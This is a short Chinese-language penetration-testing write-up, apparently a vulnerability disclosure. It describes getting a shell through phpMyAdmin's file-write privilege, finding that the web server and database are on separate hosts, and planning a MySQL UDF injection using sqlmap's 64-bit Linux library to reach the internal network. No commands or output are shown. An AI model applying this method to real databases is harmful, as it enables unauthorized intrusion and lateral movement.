我对数据不感兴趣，虽然我知道这里面绝逼有干货，我只想看看能不能拿shell
开始想的是可以通过phpmyadmin导shell，测试确实也有执行into outfile函数的权限，后来仔细一看，马丹，是站库分离。

数据库在内网，既然有写文件的权限，那我就强行导udf试一试，说不定能打下内网机器来一发内网漫游呢
linux下到udf这篇文章写的比较详细：http://www.jb51.net/article/51767.htm

漏洞证明：

看看版本：

大于5.1啊，那就必须导出在lib/mysql/plugin目录下，但是默认是没有的。
那就再看看数据库路径

人品还行居然后目录，那就强势导入udf吧。
utf在sqlmap里面有，目录是：sqlmap\udf\mysql\linux
我猜测是64位的，就导入64位的udf吧。
先把udf转成16进制的，然后在phpmyadmin里面执行
